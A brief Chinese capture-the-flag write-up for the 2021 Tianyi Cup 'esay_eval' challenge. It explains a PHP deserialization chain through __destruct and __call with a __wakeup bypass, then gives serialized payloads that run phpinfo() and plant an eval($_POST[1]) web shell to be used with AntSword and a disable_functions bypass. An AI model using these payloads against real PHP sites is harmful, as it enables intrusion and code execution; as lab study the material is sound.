[天翼杯 2021]esay_eval

1.打开环境,审计代码。

思路是先建一个类B,调用__destruct,使a为A类,调用__call魔术方法。

_call//在类中调用不存在时调用此函数。

 再者是_wake up的绕过,这里有intval函数(返回数据整数部分)的过滤,所以考虑添加真实属性的个数来绕过。

payload:

?poc=O:1:"B":1:{s:1:"a";O:1:"A":1:{s:4:"code";s:10:"phpinfo();";}s:1:"n":N;}

查看phpinfo发现函数禁用了system函数,无法用命令getshell,所以考虑用eval函数,先用蚁剑连接,再用饶过disabled_func的插件绕过。

payload:

?poc=O:1:%22B%22:1:{s:1:%22a%22;O:1:%22A%22:1:{s:4:%22code%22;s:16:%22eval($_POST[1]);%22;}s:1:%22n%22:N;}

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值